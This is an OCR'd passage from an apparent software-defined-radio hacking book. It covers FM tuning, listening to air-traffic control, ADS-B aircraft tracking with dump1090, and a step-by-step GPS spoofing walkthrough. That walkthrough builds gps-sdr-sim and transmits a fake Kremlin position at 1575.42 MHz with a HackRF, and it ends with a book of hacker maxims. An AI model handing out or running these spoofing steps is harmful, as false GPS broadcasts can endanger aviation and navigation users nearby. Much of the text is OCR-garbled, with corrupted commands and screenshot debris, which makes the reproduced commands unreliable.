output sampling rate. You can set the sampling rate at the level of your choice, but most audio
engineers believe that the human ear cannot distinguish differences in sampling rates above
48khz (48000). Since we will be sampling FM radio, a sampling rate above 48khz will not make
a distinguishable difference to the quality of the signal.
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Sampling Rate [Hz] K4
Input Output

1776000

Set the Tuner

To listen to your local FM radio, click on the FM mode icon near the top of the panel.
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AM ECSS | FM || LSE USE CW | DIG

LO& 90.090.999

Tune
Volume

[F5]
th [F&]
Options  [F7]

Full Sereen [F11]

Minimize

Exit IF4]

Now, go down to the Tune section (see above) and set the tuner to the frequency of your favorite
local radio station. You can also use the slider to adjust the frequency of your captured signal.
For the best reception, place the frequency slider in line with the peak here.

89400 89600 89800 90000 90200 S 90600 0300

Once you have done so, you should now be able to hear your radio through your speakers. To
adjust the volume, you can use the volume slider, as seen below.

AM ECSS FM LSB USB CW DIG

ox  90.107.605F M

~units On 1 'j c:c 5 y
90.113.6365+ 1

e Volume s B |

S9 +56 dB
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Congratulations! You have just built your first software-defined radio! Enjoy your local FM
radio station and experiment with the various buttons and sliders in HDSDR and watch what
happens.

Software Defined Radio is the leading edge of cybersecurity research. Now that we have
completed our first software-defined radio look for future tutorials as we look to capture satellite
signals, aircraft signals, and so many more! As we develop our skills, we will advance to
transmitting, replaying, and decoding signals from a multitude of sources.

Intercepting Aircraft Communication

In this section, we will be using our software-defined radio to intercept aircraft communication.
Aircraft communication uses AM radio signals or amplitude modulation because they can extend
over long distances. Just like AM radio, you can listen to some AM radio signals over hundreds
of miles under the right conditions. As aircraft are sometimes many miles or kilometers from the
airport, AM signals are ideal for this type of communication.

Note that this is aircraft communication and not aircraft geographic information. We will cover
that in another upcoming tutorial covering ADS-B information that includes both information
about the aircraft, and its geographic position.
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Analog Aircraft Communication

The ITU assigns all frequencies in the radio spectrum. The ITU has assigned aircraft analog
voice dialogue in the High Frequency (HF) band between 3-30MHz and in the Very High
Frequency (VHF) band at 118-137 Mhz. High-Frequency communication is capable of
intercontinental communication as the signals bounce off the ionosphere.

" IONOSPHERE =i

High-frequency (HF) signals are used for various communications, including amateur radio,

maritime mobile, military and governmental communication, shortwave broadcasting, and many
others.
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In this tutorial, we will be focusing on the latter range (VHF) as the audio quality is significantly
better. The High-Frequency band has much lower audio quality while having a more extended
range, whereas the VHF signals are only line-of-sight but have much higher audio quality.

Open HDSDR Software

The first step is to open HDSDR. Next, set the Mode to "AM" and Frequency Manager to "Air."
Check out the arrows in the screenshot below.

P — S —poc U [ eew oo RS e —— L e—— ]

To obtain the best audio quality, your sampling rate must be 2x the maximum frequency of the
human voice. The human voice ranges from 2hz to 20Khz, so your sampling rate should be set to
2x 20khz or greater.

1 Sampling Rate [Hz] B} ysg ' cw DI

Input Output
168.206 &
374,788 =R

r - 1
e

o0

Soundcard [F5]

Options [F7]
Full Screen [F11]
Start [F2]
Minimize [F3]

Exit [F4]
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Find the Analog Communication Frequency of the Local Airport

Next, search on Google for your local airport. When you open their website, you should find the
frequency of the aircraft and the control tower communication. The listing below is for the
Farmington, New Mexico, airport.

Airport Communications

CTAF: 1189
UNICOM: 122.95
ATTS: 12715
WX ASOS: 127.15 (505-325-9268)
FARMINGTON GROUND: 121.7 [0600-2200]
FARMINGTON TOWER: 118.9 257.8 [0600-2200]
EMERG: 12152430

= APCH/DEF CTL SVC PRVDD BY DENVER ARTCC (ZDV) ON FREQS 118.575/348.7 (FARMINGTON RCAG).

Note that Farmington Ground communicates at 121.7 kHz, and Farmington Tower
communicates at 118.9. To listen to their communications, navigate to either of those frequencies
in the HDSDR by sliding the vertical bar to those frequencies. When you see a red spike, this
indicates activity at that frequency. Move the red vertical bar to that location to listen in.

Sample Recording of Air Traffic Controller Intercept

You should be able to hear similar conversations from your local airport as well. If you are near
a large international airport, you will likely hear a constant stream of communication from
controllers and pilots as they navigate their way to and around the airport.

Software-defined radio is the leading edge of information security! While using a simple and
inexpensive receiver and antenna, we can intercept and listen to a variety of signals, including

encrypted communication (coming soon). In this tutorial, we were able to intercept
communication from our local airport and listen in as the air traffic controllers guided the pilots.

Air Traffic Position and Speed Monitoring
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Nearly every vehicle in the world gives off a radio signal of one type or another. This applies to
cars, planes, ships, and nearly everything else. These radio signals can be used to track the
location of these vehicles with a simple device such as the RTL-SDR.

Airplanes give off an ADS-B signal that can be used to track their location and altitude. Websites
such as Radarbox and others sell a simple ADS-B receiver to people all over the world, and then

it feeds data to their websites. You can do the same for your locality with a simple and versatile
RTL-SDR.
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According to the Federal Aviation Administration (FAA), the leading federal agency for aircraft
safety and administration, ADS-B is:

ADS-B Out works by broadcasting information about an aircraft's GPS location, altitude,
ground speed, and other data to ground stations and other aircraft once per second. ADS-B Out
airspace and equipment requirements are contained in 14 CFR § 91.225, and the equipment
performance requirements are contained in §91.227. ADS-B In provides operators of properly
equipped aircraft with weather and traffic position information delivered directly to the cockpit.

All of this data is ours! You only need the RTL-SDR and the free software to decode this signal.
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Software Downloads

Make certain first that your RTL-SDR is connected to your system. Then you need to download
the software at the following link.

kali>sudo git clone https://github.com/antirez/dump1090

Or you can do as I did and download DragonOS, a Linux operation system designed specifically
for SDR for Hackers. It is available here.

https://sourceforge.net/projects/dragonos-focal/

This operating system is great! It is designed specifically for SDR, with most of the great
applications and all their dependencies. I like this OS so much I will be using it for all my SDR
projects, tutorials, and courses.

Run dump1090

Now with DragonOS or the dump1090 software installed on another Linux machine, navigate to
the dump1090 directory.

kali > ¢d dump1090
Now, simply enter the command;

dragon> ./dump190
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otw@otw-virtual-machine: ~fdump1090 L)
1 37000 feet
T az20471

al080438b87558;

[+1]

- is on airborne))

CAQ Address 1 aba7de
xte Squitter
X 2d Squitter
Squitter Na
ion HI
EW wvelocity
direction

mmme o

cal rate
Vertical rate

Capability 5 (Level ,24, : - is on airborne))
ICAQ Address
Extended Squitter

As you can see above, your RTL-SDR receiver and dump1090 software are providing you with
all the ADS-B data available in your area, including GPS coordinates, altitude, and ground
speed.

If we are looking for just the raw data without formatting, we can simply use the --raw switch.

dragon> ./dump1090 --raw
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otw@otw-virtual-machine: S ./dumpl090 --raw
Found 1 device(s):
0: Realtek, R 8 )IR, SN: 00000001 (currently selected)
Found Rafael Micro R820T tuner
available gain i 49.60
Setting gain to: 49.6C
Exact sample rate 1is:
Gain reported by d9v1r¢
Allocating 12 zero-copy buffer’
*8da28bc9234chbs Tjdﬂ”ddO4LQDge,
*8dadab3158b9836
8da28bc999910¢ 0 -
: 'ngacdfbf 4h94dU
910520307422ach
a28bc9585f56f6049b6f1d44
01718e7a55a;
OObb5b97c81;
8dd2 bcqu q1057ﬂ3074“"

+Gdd:bqug9ql b
*02c18c11d6072

For a more interesting view of the data, we can use the --interactive switch like the one below.
Here dump1090 provides us with an interactive table of the flights in the area updated each
second.

dragon> ./dump1090 --interactive

Altitude

20825

Maybe the most graphically appealing view of the data sets is similar to radarbox, this data
overlaid on Google maps. In this way, we can actually watch the flights in real-time on a map of
our area.

To watch the graphical data on a map, simply enter the following;
J/dump1090 --interactive --net

Then open your browser and navigate to localhost:8080
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This should open an interactive map showing all the aircraft in your area (your map may appear
slightly different)
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Every airplane sends out an ADS-B signal that can be used to track the position and altitude of
the flight. With some free software such as 1090dump and an inexpensive receiver such as the
RTL-SDR, we can follow all the flights within our receiving range (this depends upon many
factors, including your antenna).

This is just one more example of the power and importance of SDR for Hackers!

Spoofing your Global Position (GPS) to Hide Your Location

As you already know, it IS possible to spoof both your IP address and MAC address, but can you
spoof my global position (GPS)? The answer, of course, is YES! This is one of the beauties of
becoming conversant and skilled in Software Defined Radio (SDR).

There are a number of reasons you may not want your global position known. As most of you
know, I have been active in assisting Ukraine to repel the brutal aggression of its neighbor and
former colonial master, Russia. I think it goes without saying that Russia is the aggressor and
needs to be reminded that invading and killing your neighbors is wrong. In this war, global
positions are critical to finding and destroying the opposing side. In addition, early in the war, we
used GPS to geo-locate the yachts of the Russian oligarchs and had them seized by NATO
nations. Soon after that, the remaining yachts began to spoof their global position to evade our
detection.
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What if the troops on the ground could send out a spoofed GPS signal to hide their location from
artillery and rockets? Most importantly, warships and aircraft send out a GPS signal that can be
tracked by missiles and other weapons. Wouldn't they gain stealth by sending out spoofed
positions? These are just a few real-life examples of the value of spoofing a GPS signal.

In this tutorial, we will demonstrate how to spoof your GPS position using SDR and the
inexpensive HackRF One.

Install HackRF One

The first step is to purchase and install a HackRF One. The less expensive SDR receivers such as
SDR-RTL are exclusively receivers and are incapable of transmitting signal.

For more on setting up your HackRF One, see this article. (https://www.hackers-
arise.com/post/software-defined-radio-sdr-for-hackers-setting-up-your-hackrf-one)

:~/hackrf-2021.03.1/firmware-bin% hackrf_spiflash -w hackrf_one_usb.bin
File size 35444 bytes.

Erasing SPI flash.
Writing 35444 bytes at 0x000000.
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$ sudo hackrf_info
hackrf_info version: unknown
libhackrf version: unknown (0.6)
Found HackRF
Index: @

Serial number: 0000000000000000f77c60dc2ba968c3
Board ID Number: 2 (HackRF One)

Firmware Version: 2021.03.1 (API:1.04)
Part ID Number: 0xa@00cb3c 0x00614f66

s i

Install GPS Spoof

Next, create a directory named GPS_SPOOF...

kali > mkdir GPS_SPOOF

....and then navigate to the new directory.

kali > cd GPS_SPOOF

Then, download the gps spoof software from github.com

kali > sudo git clone https://github.com/osqzss/gps-sdr-sim.git

GPS5_SPOOF

~/GPS_SPOOF
: clone https://github.com/osqzss/gps-sdr-sim.git

[sudo] password for kali:
Cloning into 'gps-sdr-sim’ ..
remote: Enumerating objects: 627, done.
remote: Counting objects: 100% (19/19), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 627 (delta 8), reused 11 (delta 3), pack-reused 608
Receiving obje : 100% (627/627), 4.60 MiB | 1.28 MiB/s, done.
Resolving deltas: 100% ( )
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Now, navigate to the new directory it created

kali > cd gps-sdr-sim

[ ~/GPS_SPOOF ]
gps-sdr-sim

- ~/GPS_SPOOF/gps-sdr-sim |
total 1452
-T'W-T—TI—
-rw-r—1r—
-T'W-r—Ir—
-r'W-r—Ir—
drwxr-xr-x
-TW-Tr—1r—
-Trw-r—1r—
—TWXT-XI-X
-T'W-r—7r—
-r'W-r—TI—
—-TW-T—T—
-Trw-r—1r—
drwxr-xr-x
~-TW-T—TI—
-r'W-r—7r—
drwxr-xr-x
-rW=-7—1—
drwxr-xr-x
~-TW-T—T—
-I'W-r—Tr—
-TWw-r—1r—

root 150 Aug 1€ :32 bladerf.script
root 270728 Aug ) :32 brdce0l1e.22n
root 135000 Aug 1€ :32 circle.csv
root 144000 Aug 15:32 circle_1llh.csv
root 4096 Aug p

root 4241 Aug

root 148 Aug

root 4147 Aug ] :32 gps-sdr-sim-uhd.py
root 60367 Aug 15:32 gpssim.c

root 5196 Aug : gpssim.h

root 1082 Aug : LICENSE

root 1019 Aug 1€ :32 Makefile

root 4096 Aug =33

root 5980 Aug 15:32 README.md

root 175545 Aug 5:32 rocket.csv
root 4096 Aug

root 156052 Aug 15:32 satellite.csv
root 4096 Aug

root 131124 Aug 15:32 triumphv3.txt
root 244482 Aug :

root 85182 Aug

FRRNRURRPRWRRRRPRRERRERRENRERR R

We need to compile the gpssim.c to a file named gps-sdr-sim, and in order to be able to use
motion files, we need to compile it with -DUSER_MOTION_SIZE=400 (this enables the GPS
spoof to appear to be moving rather than remaining static which would likely signal to a receiver
that it was false signal).

kali> sudo gcc gpssim.c -Im -O3 -0 gps-sdr-sim -DUSER_MOTION_SIZE=4000

~/GPS_SPOOF/gps-sdr-sim

gpssim.c - gps-sdr-sim

Where:
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gce is the GNU C compiler

gpssim.c is the C file that we need to compile
-Im is a link to the math.c library

-O3 optimizes the compilation to higher level

-0 places the output into a file named gps-sdr-sim

Locate the Satellite

The next step is to locate the GPS satellite. This is done through the use of the GPS broadcast
ephemeris file. The archive of the daily file can be downloaded here (you must register).

https://cddis.nasa.gov/archive/gnss/data/daily/

These files are then used to generate a simulated pseudo-range and Doppler for the satellites in
your range. This data is then used to create simulated range data to generate digitized I/Q
samples for the GPS signal. Make certain you download the most recent daily file.

https://cddis.nasa.gov/archive/gnss/data/daily/2022/brdc/
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TXT |

TAT|

TXT|

TXT|

TXT|

TXT|

TXT|

TXT |

TXT|

TXT|

DIU£LLV.££4.yL
brdc2170.22n.gz
brdc2180.22g.gz
brdc2180.22n.gz
brdc2190.22g.9z
brdc2190.22n.gz
brdc2200.22g.gz
brdc2200.22n.gz
brdc2210.22g9.9z
brdc2210.22n.gz
brdc2220.22g.gz

brdc2220.22n.gz

LULL IO UD £353.33.U3

2022:08:06 23:31:04

2022:08:07 23:33:04

2022:08:07 23:31:04

2022:08:08 23:33:04

2022:08:08 23:31:04

2022:08:09 23:33:04

2022:08:09 23:31:04

2022:08:10 19:33:03

2022:08:10 19:31:04

2022:08:10 19:53:12

2022:08:10 19:53:12

L. A1ORD

56.94KB

71.29KB

56.76KB

72.55KB

56.63KB

73.11KB

56.69KB

73.26KB

56.57KB

58.03KB

53.02KB

Next, select a location you want to spoof. In my case, [ want to appear to be in Moscow,

specifically the Kremlin. You can go to Google maps to get the GPS coordinates.
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. ~/GPS_SPOOF _
gps-sdr-sim

- ~/GPS_SPOOF/gps-sdr-sim]
total 1452
-rw-r—1r—
-TW-Tr—7r
-Irw-r—17r
-rwW-r—7r
drwxr-xr-x
-TwW-r—1r—
-rwWw-r—7T—
—TIWXT=-XI'-X
-rw-r—r-——
-''w-r—r—
-TW-T—T—
-TW-T—1T—
drwxr-xr-x
~-TW-Tr—1—
-rw-r—nr—
drwxr-xr-x
-rw-r—1r—
drwxr-xr-x
~-TW-T—-—1—
-rw-r—r—
-TW-Tr—1T—

L

root 1580 Aug
root 270728 Aug
root 135000 Aug
root 144000 Aug
root 49096 Aug
root 4241 Aug
root 148 Aug
root 4147 Aug
root 60367 Aug
root 5196 Aug
root 1682 Aug
root 1019 Aug
root 4096 Aug
root 5980 Aug
root 175545 Aug
root 4096 Aug
root 156052 Aug
root 49096 Aug
root 131124 Aug
root 244482 Aug
root 85182 Aug

bladerf.script
brdc@@l1@.22n
circle.csv
circle_1llh.csv

MK R

W W

:3
:3

gps-sdr-sim-uhd.py
gpssim.cC

gpssim.h

LICENSE

Makefile

README . md
rocket.csv

Wl W W Lo )

satellite.csv

[ e

triumphv3.txt

W

HFERERNRPRWRERRWRERRRRERRRRNRERR @

M MNMNMNMMMNMMNMNMNNMNMMNMRNRLNN

|'|._|

Now, to start your GPS spoof, simply enter the following command with the ephemeris file and
the GPS coordinates such as;

kali > sudo ./gps-sdr-sim -b 8 -e brdc0010.22n -1 55.75911686948662, 37.616404140886715,
100
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~/GPS_SPOOF/gps-sdr-sim
8 brdc@olo.22n 55 . 7591168694866 27.616404140886715, 100
word for kali:
C tion mode.
Start time = 2 01/01,00:00:00 (2190:518400)
Duration = 400.0 [sec]
248 . 14, 264023435.0

oW

8
76
25

(=Y
C=JE
B0 N

=
U
(T i - ] [

W
oo &

Done!
Process

This creates a simulation file named gpssim.bin

~/GPS_SPOOF/gps-sdr-sim

total 20322
-rw-r—71r-—
-rw-r—71r-—
-rw-r—r—
-Trw-Tr
drwxr
-Trw-Tr
=Tw-=-T
-TWXT
—TWXT
-TW-T
-rw-Tr
-TW=-T
-rw-r
-TwW-T
drwxr
-rw-r
-Trw-Tr
drwxr
-Irw-r
drwxr-xr-x
=TW-=-T—T—
-TW-Tr-—71-—
—rwW-r=--r--

I

root root 150 Aug 10 : 32 bladerf.script
root root 270728 Aug 10 32 brdc0©010.22n
root root 135000 Aug 10 32 circle.csv
root root 144000 Aug 10 15:32 circle_llh.csv
root root Aug 10 .

root root Aug 10 32 getopt.c

root root Aug 10 2 getopt.h

root root Aug 1@ gps-sdr-sim
root root Aug 10 2 gps-sdr-sim-uhd.py
root root| 2079480000 Aug 10 gpssim.bin
root root 60367 Aug 10 2 gpssim.c

root root 2196 Aug 10 . gpssim.h

root root 1082 Aug 10 32 LICENSE

root root 1019 Aug 10 2 Makefile

root root 4096 Aug 10

root root 5980 Aug 10 32 README.md

root root 175545 Aug 10 32 rocket.csv
root root 4096 Aug 1@

root root 2 Aug 10 2 satellite.csv
root root 96 Aug 10 :

root root ; Aug 10 2 triumphv3.txt
root root ' 2 Aug 10

root root 85182 Aug 1@

B
o
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[%)]
a ]
S - e

~ O 00 R

I
=

L e N T 8 e e I e e e e e e I % T I

Now, to send out a spoofed GPS signal that simulates my position in the Kremlin, I can simply
enter;

kali > sudo hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 0
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calluhaékrF_set_sample_

gpssim.bin

call hackrf_set_hw_sync_mode(@)
call hackrf_set freq(1575420000 Hz/1575.420 MHz)
call hackrf_set_amp_enable(l)

Stop with

5.8 MiB
MiB
MiB
MiB
MiB
MiB
MiB
MiB
MiB
MiB
MiB
MiB
MiB
MiB
MiB
MiB
MiB

v o on

5
=
b
5
5

o Ln

MNMMNMNMRNEGNRKNNN

L
)

(F N Y,
.

oL gn
R R T ]
[ %I~ T S S I S N )

Ln

Success! Now anyone tracking my GPS signal believes that [ am in the Kremlin!

MiB /

Ctrl-C
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1.001
1.000
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MiB/second,
MiB/second,
MiB/second,
MiB/second,
MiB/second,
MiB/second,
2 MiB/second,
MiB/second,
MiB/second,
MiB/second,
MiB/second,
MiB/second,
MiB/second,
MiB/second,
MiB/second,
MiB/second,
MiB/second,
MiB/second,

[ ~/GPS_SPOOF/gps-sdr-sim]
1575420000
rate(2600000 Hz/2.600 MHz)

amplitude -inf

amplitude
amplitude
amplitude
amplitude
amplitude
amplitude
amplitude
amplitude
amplitude
amplitude
amplitude
amplitude
amplitude
amplitude
amplitude
amplitude

amplitude -inf

2600000

dBfs
dBfs
dBfs
dBfs
dBfs
dBfs
dBfs
dBfs
dBfs
dBfs
dBfs
dBfs
dBfs
dBfs
dBfs
dBfs
dBefs
dBfs

Radio Frequency hacking is one of the most important and least appreciated cybersecurity fields.
There really are so many devices and systems that send and receive radio signals that are
vulnerable to exploitation. One of those ubiquitous radio signals is the global positioning system
or GPS. While it is a wonderful tool for finding our way around the world, it can also be used
maliciously to track our every step. By spoofing the GPS, we can hide our position and avoid
tracking by governments and other malicious actors.

Exercises

Install the HDSDR software
2. Listen to your local airport air traffic control communication

3. Use Your RTL-SDR to capture aircraft location and speed data with dump1090
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Appendix A
Cyber Warrior Wisdom of
Master OTW

Hacking is the new martial art of the 21st century. To become a master hacker, you
must think strategically and analytically. Master OTW oifers some of his strategic
wisdom ior novice hackers that every cyberwwwarrior should arm themselves with
beiore going to battle.

1. Fools falk. The wise listen.

2. HacKing is a process, not a technology or collection of tools.

3. HacKing is the ultimate martial art

4, Ii a service Is free, you are not the customer; you are the product.

5. Only the fool goes to battle without adequate reconnaissance oi their enemy.

0. "Listen" closely and intently to your enemy; they will tell you everything you
need to know to deieat them.

1. Ii you believe in nothing, you can be led to believe anything.

8. Every adversary--no maiter how strong and poweriul--always has a weakness.
Find the weakness and exploit it.
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10.

11.

12,

13.

14.

15.

16.

117.

18.

19.

20.

21.

22,

A great oifense might win the baitle, but an impregnable deiense wins the war.
Turn the power and strength of your opponent against them.

The battle often goes NOT to the strongest but to the most persistent.

There is ALWAYS opportunity in chaos.

Avoid your adversary's strengths and attack their weaknesses.

Never become predictable.

When ifaced with an adversary of overwhelming power and strength, do not
face them head-on. Strike only when you have the element of surprise.

Understanding human psychology, motivation, and behavior is one of the
hacker's most important tools.

A series of persistent, small wins will defeat your opponent.
Create coniusion and dissension within the ranks of your opponent.

At times, it can be advantageous to retreat to lure your opponent into a
vulnerable and indefensible position.

People on social media are much less than they appear

In cyber war, industrial facilities can be both a target and a weapon

To remain saie and anonymous on the Internet, you must have a thorough and
deep understanding of digital forensics
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22.

23.

Humility makes you stronger; hubris makes you vuinerable

Unless you believe that civilization and culture reached their zenith during your
youth, then nostalgia for "the good old days" is just the foolishness of the
myopic and old.
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